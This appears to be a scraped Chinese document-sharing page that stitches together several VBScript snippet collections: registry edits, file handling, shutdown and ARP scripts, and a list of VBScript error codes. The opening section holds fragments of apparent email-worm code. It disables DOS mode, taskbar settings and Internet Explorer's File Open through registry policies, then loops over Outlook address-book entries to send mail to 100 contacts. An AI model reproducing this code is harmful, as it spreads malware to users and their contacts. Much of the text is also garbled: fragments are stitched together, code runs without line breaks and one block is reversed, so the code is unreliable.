VBS脚本常用代码大全2011整理

合集下载

vbs程序代码

r.Regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppDisabled",1,"REG_DWORD" //这个大概是禁止进入MS-DOS模式拉
r.Regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSetTaskBar",1,"REG_DWORD" //禁止任务栏和开始菜单了
On Error Resume Next
For x=1 To 100 //很明显，是给你的100个好友发信，这个值你可以自定义拉
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
r.Regwrite "HKCUSoftwarePoliciesMicrosoftInternet ExplorerRestrictionsNoFileOpen",1,"REG_DWORD" // 禁用“文件打开”
r.Regwrite "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl PanelAdvanced",1,"REG_DWORD" // 禁止更改高级设置
r.Regwrite "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl PanelConnwiz Admin Lock",1,"REG_DWORD" // “Internet连接向导”

VBS中常用脚本代码

End If
运行CMD命令行命令
set obshell=wscript.createobject("wscript.shell")
obshell.run ("ipconfig"),,true
如果要运行的命令中包含双引号，可使用&chr(34)&代替
忽略代码错误继续执行
c.copy("%PATH2%") '拷贝文件到指定地点
fso.deletefile("%PATH%") '删除文件
Wscript.quit
程序代码
Set fso = Wscript.CreateObject("Scripting.FileSystemObject")
Set f = fso.CreateTextFile("%PATH%") '创建文件,其中f可任意，包含缩略名
f.WriteLine("VBS") '写文件内容,该命令功能太简单,目前看来只能用于TXT文件
f.Close
set c=fso.getfile("%path%") '拷贝某文件
Set objWord = CreateObject("Word.Application")
Set objDoc = objWord.Documents.Open("d:doc1.doc")
objDoc.SaveAs "g:doc1.txt", wdFormatText
objWord.Quit
wso.RegWrite "HKLMSOFTWAREMicrosftWindows NT#1"

收藏的比较精典VBS代码

收藏的比较精典VBS代码Set fso = Wscript.CreateObject("Scripting.FileSystemObject") '创建文件系统对象，用以处理驱动器、文件夹和文件Set WshShell = Wscript.CreateObject("Wscript.Shell") '创建系统Shell对象，用以运行程序等等if fso.fileexists("D:\刀剑Online\alreadyexist.txt") then '如果找到文件“D:\刀剑Online\alreadyexist.txt”则WshShell.Run("D:\刀剑Online\刀剑Online.exe") '运行“D:\刀剑Online\刀剑Online.exe”elseif fso.fileexists("\\gengxin\update\dj.exe") then '否则，如果找到“\\gengxin\update\dj.exe”则WshShell.Run("\\gengxin\update\dj.exe") '运行“\\gengxin\update\dj.exe”else WshShell.Run("D:\刀剑Online\刀剑Online.exe") '否则运行“D:\刀剑Online\刀剑Online.exe”end if '根据条件执行语句结束VBS 导入注册表，然后执行文件dim Wsh Set Wsh = WScript.CreateObject("WScript.Shell") Wsh.RegWrite "HKCU\SOFTWARE\AUDITION\AUTOSTART",0,"REG_DWORD" Wsh.RegWrite "HKCU\SOFTWARE\AUDITION\PATH","G:\网络游戏\劲舞团1.5","REG_SZ" Wsh.RegWrite "HKCU\SOFTWARE\AUDITION\VERSION",1010,"REG_DWORD" Wsh.run "patcher.exe"PING内网不通就执行关机的VBSstrIP = "192.168.0.254" '被PING的内网机器Set objShell = CreateObject("WScript.Shell")If Not IsOnline(strIP) Then objShell.run "shutdown -s -t 30 -c "&chr(34)&"机器即将关闭"&chr(34) End IfFunction IsOnline(strComputer) IsOnline = false strCommand = "%comspec% /c ping -n 2 -w 500 " & strComputer & "" Set objExecObject = objShell.Exec(strCommand) Do While Not objExecObject.StdOut.AtEndOfStream strText = objExecObject.StdOut.ReadAll() If Instr(strText, "Reply") > 0 Then IsOnline = true End If Loop End Function开机脚本VBS用于ARP邦定Set WshShell = Wscript.CreateObject("Wscript.Shell") WshShell.run "arp -s 192.168.0.1 30-18-e5-33-01",0 WshShell.run "arp -s 192.168.0.5 30-18-e5-33-07",0运行程序Dim aSet Wsh = WScript.CreateObject("WScript.Shell") a.Run "d:\网络游戏\大话西游II\xy-2.exe"运行oshell.run "d:\soft\hf\hfgame3\GameClient.lnk"断开网络连接strNICName = " disable =net pci\*" Set objShell = CreateObject("Wscript.Shell") strCommand = "devcon.exe"& strNICName objShell.Run strCommand, 0, False启动网络连接strNICName = " enable =net pci\*" Set objShell = CreateObject("Wscript.Shell") strCommand = "devcon.exe"& strNICName objShell.Run strCommand, 0, False删除文件的VBS脚本dim fso Set fso = CreateObject("Scripting.FileSystemObject")fso.CopyFile "\\server\共享\XXX.lnk","c:\目标位置1\",true '添加fso.CopyFile "\\server\共享\XXX.lnk","c:\目标位置2\",true '添加fso.DeleteFile "c:\目标位置1\XXX.lnk" ,true '删除fso.DeleteFile "c:\目标位置2\XXX.lnk" ,true '删除Set FSO=NoThing WScript.quit无界面自动检测安装iscsi客户端，映射及断开映射vbs脚本下列代码实现无界面自动检测安装iscsi客户端,自动映射On Error Resume Next setupfile="iscsi2.0.exe" 'iscsi客户端安装文件路径serverip="192.168.0.100" 'iscsi服务器ip Set oshell= CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") if not fso.fileexists(oshell.ExpandEnvironmentStrings("%WinDir%")+"\system32\iscsicpl.cpl")then oshell.run setupfile&" /q",,1 end if oshell.run "iscsicli AddTargetPortal "&serverip&" 3260",0,1 oshell.run "iscsicli LoginTarget .ricecake.iscsi:00 T * * * * * * * * * * * ** * * 0",0,1下例代码实现无界面删除iscsi映射盘filetmp="c:\my.txt" On Error Resume Next Set Shell = CreateObject("WScript.Shell") Set fso = Wscript.CreateObject("Scripting.FileSystemObject") shell.run "cmd /c iscsiclisessionlist>"&filetmp,0,1 Const ForReading = 1 Dim fso, theFile, retstring Set fso = CreateObject("Scripting.FileSystemObject") Set theFile = fso.OpenTextFile(filetmp, ForReading) aaa=thefile.readall thefile.close function myreadline() X=instr(1,aaa,vbcrlf,vbTextCompare) myline=mid(aaa,1,x-1) aaa=right(aaa,len(aaa)-x) if len(aaa) =<1 then myline ="end" myreadline=myline end function Do While bbb<>"end" bbb=myreadline if bbb <> "end" then if bbb <>" " then if instr(bbb,"Session")<>0 then temID=mid(bbb,instr(bbb,":")+1,len(bbb)-instr(bbb,":")) shell.run "iscsicli logouttarget"&temID,0 end if end if end if Loop fso.deletefile(filetmp)删除QQ用户文件强制删除是不行的了，要跳过的话这样：Dim fso, folderspec, f, f1, fc folderspec = "f:\Program Files\Tencent\QQ" '设置你的QQ文件夹Dim Re Set Re = New RegExp Re.Pattern = "^\d{4,13}$" Set fso = CreateObject("scripting.FileSystemObject") Set f = fso.GetFolder(folderspec) Set fc = f.SubFolders For Each f1 in fc If Re.Test() Then On Error Resume Next f1.Delete(true) On Error GoTo 0 End If Next格5分钟运行一次批处理程序Dim Wsh Set Wsh = WScript.CreateObject("WScript.Shell") Do Wsh.Run "d:\aaa.bat" '你要执行的批处理WScript.Sleep(300000) Loop要设开机自动运行，禁止程序。

vbs编程必背50个程序

VBS编程必背50个程序什么是VBS编程？VBS，全称为Visual Basic Scripting，是一种被广泛应用于Windows系统的脚本语言。

它基于Visual Basic，但语法更加简单且易于学习和使用。

VBS可以用于编写脚本文件，实现各种任务，如自动化任务、系统管理以及图形用户界面等。

为什么要掌握VBS编程？VBS编程是一种非常有用的技能，特别是对于那些需要在Windows环境中进行自动化和批量处理的人来说。

掌握VBS编程可以帮助你提高工作效率，简化重复的任务，并增加系统管理和故障排除的能力。

下面是50个VBS编程的示例程序：1. Hello WorldMsgBox "Hello World!"这个简单的程序会弹出一个对话框，显示“Hello World!”。

2. 计算器Dim num1, num2, resultnum1 = InputBox("请输入第一个数字:")num2 = InputBox("请输入第二个数字:")result = num1 + num2MsgBox "计算结果为：" & result这个程序会要求你输入两个数字，然后将它们相加并显示结果。

3. 遍历文件夹Set fso = CreateObject("Scripting.FileSystemObject")Set folder = fso.GetFolder("C:\Path\To\Folder")For Each file In folder.FilesMsgBox Next这个程序会遍历指定文件夹中的所有文件，并依次弹出每个文件名。

4. 创建文件Set fso = CreateObject("Scripting.FileSystemObject")Set file = fso.CreateTextFile("C:\Path\To\File.txt")file.WriteLine "Hello World!"file.Close这个程序会创建一个文本文件，并在其中写入“Hello World!”。

常用VBS代码值得一看

常⽤VBS代码值得⼀看从系统开始菜单中删除此链接:复制代码代码如下:Windows Registry Editor Version 5.00[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]@=-"InfoTip"=-[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\DefaultIcon]@=-[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\Instance\InitPropertyBag] "Command"=-"Param1"=-VBS脚本实现整理磁盘碎⽚功能Set WshShell = WScript.CreateObject("WScript.Shell")Dim fso, d, dcSet fso = CreateObject("Scripting.FileSystemObject")Set dc = fso.DrivesFor Each d in dcIf d.DriveType = 2 ThenReturn = WshShell.Run("defrag " & d & " -f", 1, TRUE)End IfNextSet WshShell = Nothing计划任务定时调⽤VBS脚本复制代码代码如下:Option ExplicitOn Error Resume Next'⽣成列表的⽂件类型Const sListFileType = "wmv,rm,wma"'⽂件所在的相对路径Const sShowPath="."'排序类型的常量定义Const iOrderFieldFileName = 0Const iOrderFieldFileExt = 1Const iOrderFieldFileSize = 2Const iOrderFieldFileType = 3Const iOrderFieldFileDate = 4'排序顺逆的常量定义const iOrderAsc = 0const iOrderDesc = 1'⽣成列表的⽂件数量const iShowCount = 20'显⽰的⽇期格式函数Function Cndate2(date1,intDateStyle)dim strdate,dDate1strdate=cstr(date1)If Isdate(strdate) ThenIf Left(cstr(strdate),1)="0" ThendDate1=Cdate("20"+cstr(strdate))elsedDate1=Cdate(strdate)End IfElsedDate1=Now()End IfSelect case intDateStyleCase 1:Cndate2 = Cstr(Year(dDate1))+"-"+Cstr(Month(dDate1))+"-"+Cstr(Day(dDate1))Case 2:Cndate2 = Cstr(Month(dDate1))+"-"+Cstr(Day(dDate1))Case 3:Cndate2 = Cstr(Month(dDate1))+"⽉"+Cstr(Day(dDate1))+"⽇"Case 4:Cndate2 = Cstr(year(dDate1))+"年"+ Cstr(Month(dDate1))+"⽉"+Cstr(Day(dDate1))+"⽇" End SelectEnd FunctionFunction ListFile(strFiletype,intCompare,intOrder,intShowCount)Dim sListFileDim fso, f, f1, fc, s,ftype,fcount,i,j,kDim t1,t2,t3,t4,t5Dim iMonth,iDaysListFile = ""Set fso = CreateObject("Scripting.FileSystemObject")Set f = fso.GetFolder(sShowPath)Set fc = f.Filesfcount = fc.countredim arrFiles(fcount,5)redim arrFiles2(fcount,5)i=0'排序For Each f1 in fcftype = right(,len()-instrrev(,"."))arrFiles(i,0) = arrFiles(i,1) = ftypearrFiles(i,2) = f1.sizearrFiles(i,3) = f1.typearrFiles(i,4) = f1.DateLastModifiedi=i+1NextFor i=0 to fcount-1for j=i+1 to fcount-1select Case intCompareCase iOrderFieldFileName,iOrderFieldFileExt,iOrderFieldFileType:If arrFiles(i,intCompare)>arrFiles(j,intCompare) thent1 = arrFiles(i,0)t2 = arrFiles(i,1)t3 = arrFiles(i,2)t4 = arrFiles(i,3)t5 = arrFiles(i,4)arrFiles(i,0) = arrFiles(j,0)arrFiles(i,1) = arrFiles(j,1)arrFiles(i,2) = arrFiles(j,2)arrFiles(i,3) = arrFiles(j,3)arrFiles(i,4) = arrFiles(j,4)arrFiles(j,0) = t1arrFiles(j,1) = t2arrFiles(j,2) = t3arrFiles(j,3) = t4arrFiles(j,4) = t5end ifCase iOrderFieldFileSize:If cdbl(arrFiles(i,intCompare))>cdbl(arrFiles(j,intCompare)) thent1 = arrFiles(i,0)t2 = arrFiles(i,1)t3 = arrFiles(i,2)t4 = arrFiles(i,3)t5 = arrFiles(i,4)arrFiles(i,0) = arrFiles(j,0)arrFiles(i,1) = arrFiles(j,1)arrFiles(i,2) = arrFiles(j,2)arrFiles(i,3) = arrFiles(j,3)arrFiles(i,4) = arrFiles(j,4)arrFiles(j,0) = t1arrFiles(j,1) = t2arrFiles(j,2) = t3arrFiles(j,3) = t4arrFiles(j,4) = t5end ifCase iOrderFieldFileDate:If Cdate(arrFiles(i,intCompare))>Cdate(arrFiles(j,intCompare)) thent1 = arrFiles(i,0)t2 = arrFiles(i,1)t3 = arrFiles(i,2)t4 = arrFiles(i,3)t5 = arrFiles(i,4)arrFiles(i,0) = arrFiles(j,0)arrFiles(i,1) = arrFiles(j,1)arrFiles(i,2) = arrFiles(j,2)arrFiles(i,3) = arrFiles(j,3)arrFiles(i,4) = arrFiles(j,4)arrFiles(j,0) = t1arrFiles(j,1) = t2arrFiles(j,2) = t3arrFiles(j,3) = t4arrFiles(j,4) = t5end ifEnd Selectnextnext'⽣成列表sListFile = sListFile + ("<table cellpadding=0 cellspacing=0 width=100% align=center class=""PageListTable"" style=""BEHAVIOR: url(images/sort2.htc); "">")sListFile = sListFile + ("<THEAD><Tr class=PageListTitleTr><Td class=PageListTitleTd>")sListFile = sListFile + ("名称")sListFile = sListFile + ("</td><Td class=PageListTitleTd>")sListFile = sListFile + ("媒体")sListFile = sListFile + ("</td><Td class=PageListTitleTd>")sListFile = sListFile + ("⼤⼩")sListFile = sListFile + ("</td><Td class=PageListTitleTd>")sListFile = sListFile + ("类型")sListFile = sListFile + ("</td><Td class=PageListTitleTd ID=updatetime>")sListFile = sListFile + ("更新时间")sListFile = sListFile + ("</td></Tr></THEAD>")dim iLoopStart,iLoofEnd,iLoopStepIf intOrder = 0 theniLoopStart = 0iLoofEnd = fcount-1iLoopStep = 1ElseiLoopStart = fcount-1iLoofEnd = 0iLoopStep = -1End ifdim iCount,sTDStyleClassiCount = 1For j=iLoopStart to iLoofEnd Step iLoopStepIf instr(strFiletype,arrFiles(j,1))>0 and iCount<=intShowCount thensTDStyleClass = "PageListTd"+Cstr((iCount mod 2)+1)sListFile = sListFile + ("<Tr class=PageListTr><Td class="+sTDStyleClass+">")sListFile = sListFile + ("<img src=images/"+arrFiles(j,1)+".gif align=absbottom><img src=b.gif width=2 height=0><a href=" & sShowPath & "/" & CStr(arrFiles(j,0)) &">" & arrFiles(j,0) &"</a>")If datediff("h",arrFiles(j,4),now)<=24 thensListFile = sListFile + "<img src=images/new.gif align=absmiddle>"end ifsListFile = sListFile + "</td><Td class="+sTDStyleClass+">"sListFile = sListFile + ("<a href=" & sShowPath & "/" & CStr(arrFiles(j,0)) &">")'根据⽂件名规则,⽣成中⽂提⽰select case left(arrFiles(j,0),3)case "sc2":sListFile = sListFile + "<font color=#AA0000>四川卫视 "case "sd2":sListFile = sListFile + "<font color=#00AA00>⼭东卫视 "case "gd2":sListFile = sListFile + "<font color=#0000AA>⼴东卫视 "case "gx2":sListFile = sListFile + "<font color=#AAAA00>⼴西卫视 "end select'⽇期显⽰If isnumeric(left(right(arrFiles(j,0),8),2)) theniMonth = cint(left(right(arrFiles(j,0),8),2))iDay = cint(left(right(arrFiles(j,0),6),2))sListFile = sListFile + cstr(iMonth)+"⽉" + cstr(iDay)+"⽇"sListFile = sListFile + ("</a></td><Td class="+sTDStyleClass+" align=right>")Elseresponse.write arrFiles(j,0)end ifIf arrFiles(j,2)>1024*1024 thensListFile = sListFile + cstr(round(arrFiles(j,2)/1024/1024))sListFile = sListFile + ("MB")elsesListFile = sListFile + cstr(round(arrFiles(j,2)/1024))sListFile = sListFile + ("KB")end ifsListFile = sListFile + (" </td>")sListFile = sListFile + ("<Td class="+sTDStyleClass+">")sListFile = sListFile + cstr(arrFiles(j,3))sListFile = sListFile + ("</td>")sListFile = sListFile + ("<Td class="+sTDStyleClass+">")sListFile = sListFile + (Cndate2(arrFiles(j,4),4))sListFile = sListFile + ("</td>")sListFile = sListFile + ("</Tr>")iCount = iCount+1end ifnextsListFile = sListFile + "</table>"ListFile = sListFileEnd Function'⽣成调⽤⽂件的过程Sub ShowFileListContent()Dim tUpdatetime,sUpdateContentDim fso,f,f_js,f_js_writeSet fso = CreateObject("Scripting.FileSystemObject")Set f = fso.GetFolder(sShowPath)Set f_js = fso.GetFile("list.js")'⽐较调⽤⽂件与⽂件夹的最后修改时间If f.DateLastModified<>f_js.DateLastModified thensUpdateContent = ListFile(sListFileType,iOrderFieldFileDate,iOrderDesc,iShowCount) Set f_js_write = fso.CreateTextFile("list.js", True)'JS调⽤就加上下⾯这对document.write' f_js_write.Write ("document.write('")f_js_write.Write (sUpdateContent)' f_js_write.Write ("')")f_js_write.CloseEnd IfEnd SubCall ShowFileListContent()可以代替⽹通宽带登陆器的⼀段vbs脚本Dim WshShell, iexplorePath, iexploreselectiexplorePath="c:\Progra~1\Intern~1\iexplore.exe"Set WshShell=WScript.CreateObject("WScript.Shell")WshShell.Run iexplorePathWScript.Sleep 2000WshShell.AppActivate "⽤户上⽹登陆"WshShell.SendKeys "⾃⼰的账号{TAB}"WshShell.SendKeys "⾃⼰的密码"WScript.Sleep 2000WshShell.SendKeys "{ENTER}"利⽤VBS脚本创建快捷⽅式我们以"QQ Aqing增强包参数配置器"为例⼦,讲述如何利⽤VBS脚本创建快捷⽅式.代码如下: 代码:set WshShell = Wscript.CreateObject("Wscript.Shell")strDesktop = WshShell.SpecialFolders("Desktop")set oShellLink = WshShell.CreateShortcut(strDesktop & "\QQ Aqing增强包参数配置器.lnk") '创建⼀个快捷⽅式对象,其在桌⾯上显⽰的名字为"QQ Aqing增强包参数配置器" oShellLink.TargetPath = "C:\Program Files\Tencent\QQ\Aqing.exe"'设置快捷⽅式的执⾏路径oShellLink.WindowStyle = 1oShellLink.Hotkey = "Ctrl+Alt+e" '设置快捷⽅式的快捷键oShellLink.IconLocation = "E:\Picture\Aqing.ico" '设置快捷⽅式的图标路径oShellLink.Description = "QQ Aqing增强包参数配置器" '设置快捷⽅式的描述oShellLink.WorkingDirectory = strDesktopoShellLink.Save将上述代码保存为"CreateShortcut.vbs"(不含引号).双击CreateShortcut.vbs,就会将QQ Aqing增强包参数配置器的快捷⽅式建⽴到桌⾯上.⽤这种⽅法建⽴的快捷⽅式的最⼤优点是:快捷⽅式的图标可以根据⾃⼰的喜好进⾏更改⽤VBS脚本发送email![code]Set objEmail = CreateObject("CDO.Message")objEmail.From = "null_vbt@"objEmail.To = "null_vbt@"objEmail.Subject = "这封邮件是由VBS脚本发送"objEmail.Textbody = "如果你收到这封邮件，就表⽰测试成功！"objEmail.Send利⽤vbs脚本编写Windows XP/2003序列号更改器复制代码代码如下:ON ERROR RESUME NEXTDim VOL_PROD_KEYif Wscript.arguments.count<1 thenVOL_PROD_KEY =InputBox("使⽤说明(OEM版⽆效)："&vbCr&vbCr&" 本脚本程序将修改当前 Windows 的序列号。

vbs代码-大全

fI dnE ".delbane si tnuocca tseuG ehT" ohcE.tpircsW eslE ".delbasid si tnuocca tseuG ehT" ohcE.tpircsW nehT delbasiDtnuoccA.resUjbo fI )"tseuG/" & retupmoCrts & "//:TNniW"(tcejbOteG = resUjbo teS emaNretupmoC.krowteNjbo = retupmoCrts )"krowteN.tpircsW"(tcejbOetaerC = krowteNjbo teS 用禁否是 tseuG 查检 01 -------------------------------------------------------------------------
eulaVwd ,emaNeulaVrts ,htaPyeKrts ,ENIHCAM_LACOL_YEKH eulaVDROWDteS.geRo 0 = eulaVwd "nogoLnimdAotuA" = emaNeulaVrts "nogoLniW\noisreVtnerruC\TN swodniW\tfosorciM\erawtfoS" = htaPyeKrts )"vorPgeRdtS:tluafed\toor\" & retupmoCrts & "\:stmgmniw"(tcejbOteG=geRjbo teS "." = retupmoCrts 20000008H& = ENIHCAM_LACOL_YEKH tsnoC 录登动自闭关 9 -------------------------------------------------------------------------------fI dnE ".delbasid si nogol otuA" ohcE.tpircsW eslE ".delbane si nogol otuA" ohcE.tpircsW nehT 1 = eulaVwd fI eulaVwd,emaNeulaVrts ,htaPyeKrts ,ENIHCAM_LACOL_YEKH eulaVDROWDteG.geRjbo "nogoLnimdAotuA" = emaNeulaVrts "nogoLniW\noisreVtnerruC\TN swodniW\tfosorciM\erawtfoS" = htaPyeKrts )"vorPgeRdtS:tluafed\toor\" & retupmoCrts & "\:stmgmniw"(tcejbOteG=geRjbo teS "." = retupmoCrts 20000008H& = ENIHCAM_LACOL_YEKH tsnoC 启开否是录登动自测检 8 -------------------------------------------------------------------------------txeN metsySeliF.ksiDjbo & " -- " & DIeciveD.ksiDjbo &" :evird ksiD" ohcE.tpircsW sksiDloc ni ksiDjbo hcaE roF )"3 = epyTevirD erehW ksiDlacigoL_23niW morf * tceleS"(yreuQcexE.ecivreSIMWjbo = sksiDloc teS )"2vmic\toor\" & retupmoCrts & "\:stmgmniw"(tcejbOteG = ecivreSIMWjbo teS "." = retupmoCrts 统系盘磁 7 -------------------------------------------------------------------------------txeN emaN.resUjbo ohcE.tpircsW srebmeM.puorGjbo ni resUjbo hcaE roF )"puorg,srotartsinimdA/" & retupmoCrts & "//:Tቤተ መጻሕፍቲ ባይዱniW"(tcejbOteG = puorGjbo teS emaNretupmoC.krowteNjbo = retupmoCrts )"krowteN.tpircsW"(tcejbOetaerC = krowteNjbo teS 目数员理管地本查检 6 -------------------------------------------------------------------------------txeN

VBS语法速查表

VBS语法速查表VBS语法速查表2011-06-24 22:58VBS语法速查表VBScript 函数功能说明例子Abs （数值）绝对值。

一个数字的绝对值是它的正值。

空字符串 (null) 的绝对值，也是空字符串。

未初始化的变数，其绝对为 0 例子：ABS(-2000)结果：2000Array （以逗点分隔的数组元素） Array 函数传回数组元素的值。

例子：A=Array(1,2,3)B=A(2)结果： 2说明：变量Ｂ为Ａ数组的第二个元素的值。

Ａsc （字符串）将字符串的第一字母转换成 ANSI （美国国家标准符号）字码。

例子：Ａsc（＂Internet＂）结果：73说明：显示第一字母 I 的 ANSI 字码。

CBool（表达式）转换成布尔逻辑值变量型态（Ｔrue 或Ｆalse ）例子：CBool（1+2）结果：TrueCDate （日期表达式）换成日期变量型态。

可先使用 IsDate 函数判断是否可以转换成日期。

例子： CDate (now( )+2)结果：2000/5/28 10:30:59CDbl（表达式）转换成DOUBLE变量型态。

Chr （ ANSI 字码）将ASCII 字码转换成字符。

例子： Chr （ 72 ）结果： HCInt （表达式）转换成整数变量型态。

例子： CInt ("3.12")结果： 3CLng （表达式）转换成LONG 变量型态。

CSng （表达式）转换成SINGLE 变量型态。

CStr （表达式）转换成字符串变量型态。

Date （）top 传回系统的日期。

例子： Date结果： 2000/5/13DateAdd （ I , N , D ）将一个日期加上一段期间后的日期。

I ：设定一个日期（ Date ）所加上的一段期间的单位。

譬如 interval="d" 表示 N的单位为日。

I的设定值如下：yyyy Year 年q Quarter 季m Month 月d Day 日w Weekday 星期h Hour 时n Minute 分s Second 秒N ：数值表达式，设定一个日期所加上的一段期间，可为正值或负值，正值表示加（结果为>date 以后的日期），负值表示减（结果为 >date 以前的日期）。

微软VBScript脚本常见错误代码及含义（zt）

微软VBScript脚本常见错误代码及含义（zt）微软VBScript脚本常见错误代码及含义(zt)发表人:sunlighta | 发表时间: 2007年二月25日, 14:13Microsoft VBScript语法错误(0x800A03E9)-->内存不足Microsoft VBScript语法错误(0x800A03EA)-->语法错误Microsoft VBScript语法错误(0x800A03EB)-->缺少 ':' Microsoft VBScript语法错误(0x800A03ED)-->缺少'(' Microsoft VBScript语法错误(0x800A03EE)-->缺少')' Microsoft VBScript语法错误(0x800A03EF)-->缺少']' Microsoft VBScript语法错误(0x800A03F2)-->缺少标识符Microsoft VBScript语法错误(0x800A03F3)-->缺少'=' Microsoft VBScript语法错误(0x800A03F4)-->缺少'If' Microsoft VBScript语法错误(0x800A03F5)-->缺少'To' Microsoft VBScript语法错误(0x800A03F6)-->缺少'End' Microsoft VBScript语法错误(0x800A03F7)-->缺少'Function' Microsoft VBScript语法错误(0x800A03F8)-->缺少'Sub' Microsoft VBScript语法错误(0x800A03F9)-->缺少'Then' Microsoft VBScript语法错误(0x800A03FA)-->缺少'Wend' Microsoft VBScript语法错误(0x800A03FB)-->缺少'Loop' Microsoft VBScript语法错误(0x800A03FC)-->缺少'Next' Microsoft VBScript语法错误(0x800A03FD)-->缺少'Case' Microsoft VBScript语法错误(0x800A03FE)-->缺少'Select' Microsoft VBScript语法错误(0x800A03FF)-->缺少表达式Microsoft VBScript语法错误(0x800A0400)-->缺少语句Microsoft VBScript语法错误(0x800A0401)-->语句未结束Microsoft VBScript语法错误(0x800A0402)-->缺少整型常数Microsoft VBScript语法错误(0x800A0403)-->缺少 'While' 或 'Until' Microsoft VBScript语法错误(0x800A0404)-->缺少'While', 'Until' 或语句未结束Microsoft VBScript语法错误(0x800A0405)-->缺少 'With' Microsoft VBScript语法错误(0x800A0406)-->标识符过长 Microsoft VBScript语法错误(0x800A0407)-->无效数字Microsoft VBScript语法错误(0x800A0408)-->无效字符Microsoft VBScript语法错误(0x800A0409)-->未结束的字符串常量 Microsoft VBScript语法错误(0x800A040A)-->注释未结束Microsoft VBScript语法错误(0x800A040D)-->无效使用 'Me' 关键字 Microsoft VBScript语法错误(0x800A040E)-->'loop' 语句缺少 'do' Microsoft VBScript语法错误(0x800A040F)-->无效的 'exit' 语句 Microsoft VBScript语法错误(0x800A0410)-->循环控制变量'for' 无效Microsoft VBScript语法错误(0x800A0411)-->名称重定义Microsoft VBScript语法错误(0x800A0412)-->必须是行中的第一个语句 Microsoft VBScript语法错误(0x800A0413)-->不能为non-ByVal 参数赋值Microsoft VBScript语法错误(0x800A0414)-->调用子程序时不能使用括号Microsoft VBScript语法错误(0x800A0415)-->缺少文字常数Microsoft VBScript语法错误(0x800A0416)-->缺少'In' Microsoft VBScript语法错误(0x800A0417)-->缺少 'Class' Microsoft VBScript 语法错误(0x800A0418)-->必须在一个类的内部定义Microsoft VBScript语法错误(0x800A0419)-->在属性声明中缺少Let , Set 或Get Microsoft VBScript语法错误(0x800A041A)-->缺少'Property' Microsoft VBScript语法错误(0x800A041B)-->在所有属性的规范中，变量的数目必须一致 Microsoft VBScript语法错误(0x800A041C)-->在一个类中不允许有多个缺省的属性/方法 Microsoft VBScript语法错误(0x800A041D)-->类的初始化或终止程序没有参数Microsoft VBScript语法错误(0x800A041E)-->属性的set 或let 必须至少有一个参数 Microsoft VBScript语法错误(0x800A041F)-->错误的 'Next' Microsoft VBScript语法错误(0x800A0420)-->'Default' 只能在'Property' , 'Function' 或 'Sub' 中指定 Microsoft VBScript语法错误(0x800A0421)-->指定'Default' 时必须同时指定'Public' ") Microsoft VBScript语法错误(0x800A0422)-->只能在 Property Get中指定 'Default' Microsoft VBScript 运行时错误(0x800A0005)-->无效的过程调用或参数 Microsoft VBScript 运行时错误(0x800A0006)-->溢出Microsoft VBScript 运行时错误(0x800A0007)-->内存不足Microsoft VBScript 运行时错误(0x800A0009)-->下标越界Microsoft VBScript 运行时错误(0x800A000A)-->该数组为定长的或临时被锁定 Microsoft VBScript 运行时错误(0x800A000B)-->被零除Microsoft VBScript 运行时错误(0x800A000D)-->类型不匹配Microsoft VBScript 运行时错误(0x800A000E)-->字符串空间不够Microsoft VBScript 运行时错误(0x800A0011)-->不能执行所需的操作Microsoft VBScript 运行时错误(0x800A001C)-->堆栈溢出Microsoft VBScript 运行时错误(0x800A0023)-->未定义过程或函数Microsoft VBScript 运行时错误(0x800A0030)-->加载DLL 时出错Microsoft VBScript 运行时错误(0x800A0033)-->内部错误Microsoft VBScript 运行时错误(0x800A0034)-->错误的文件名或号码Microsoft VBScript 运行时错误(0x800A0035)-->文件未找到Microsoft VBScript 运行时错误(0x800A0036)-->错误的文件模式Microsoft VBScript 运行时错误(0x800A0037)-->文件已经打开Microsoft VBScript 运行时错误(0x800A0039)-->设备I/O 错误Microsoft VBScript 运行时错误(0x800A003A)-->文件已存在Microsoft VBScript 运行时错误(0x800A003D)-->磁盘已满Microsoft VBScript 运行时错误(0x800A003E)-->输入超出了文件尾Microsoft VBScript 运行时错误(0x800A0043)-->文件过多Microsoft VBScript 运行时错误(0x800A0044)-->设备不可用Microsoft VBScript 运行时错误(0x800A0046)-->没有权限Microsoft VBScript 运行时错误(0x800A0047)-->磁盘没有准备好Microsoft VBScript 运行时错误(0x800A004A)-->重命名时不能带有其他驱动器符号 Microsoft VBScript 运行时错误(0x800A004B)-->路径/文件访问错误Microsoft VBScript 运行时错误(0x800A004C)-->路径未找到 Microsoft VBScript 运行时错误(0x800A005B)-->对象变量未设置 Microsoft VBScript 运行时错误(0x800A005C)-->For 循环未初始化 Microsoft VBScript 运行时错误(0x800A005E)-->无效使用Null Microsoft VBScript 运行时错误(0x800A0142)-->不能创建所需的临时文件 Microsoft VBScript 运行时错误(0x800A01A8)-->缺少对象Microsoft VBScript 运行时错误(0x800A01AD)-->ActiveX 部件不能创建对象 Microsoft VBScript 运行时错误(0x800A01AE)-->类不能支持 Automation 操作 Microsoft VBScript 运行时错误(0x800A01B0)-->Automation 操作中文件名或类名未找到 Microsoft VBScript 运行时错误(0x800A01B6)-->对象不支持此属性或方法Microsoft VBScript 运行时错误(0x800A01B8)-->Automation 操作错误Microsoft VBScript 运行时错误(0x800A01BD)-->对象不支持此操作 Microsoft VBScript 运行时错误(0x800A01BE)-->对象不支持已命名参数 Microsoft VBScript 运行时错误(0x800A01BF)-->对象不支持当前区域设置Microsoft VBScript 运行时错误(0x800A01C0)-->未找到已命名参数Microsoft VBScript 运行时错误(0x800A01C1)-->参数是必选项 Microsoft VBScript 运行时错误(0x800A01C2)-->错误的参数个数或无效的参数属性值Microsoft VBScript 运行时错误(0x800A01C3)-->对象不是一个集合Microsoft VBScript 运行时错误(0x800A01C5)-->未找到指定的 DLL 函数 Microsoft VBScript 运行时错误(0x800A01C7)-->代码资源锁定错误 Microsoft VBScript 运行时错误(0x800A01CA)-->变量使用了一个 VBScript 中不支持的 Automation 类型 Microsoft VBScript 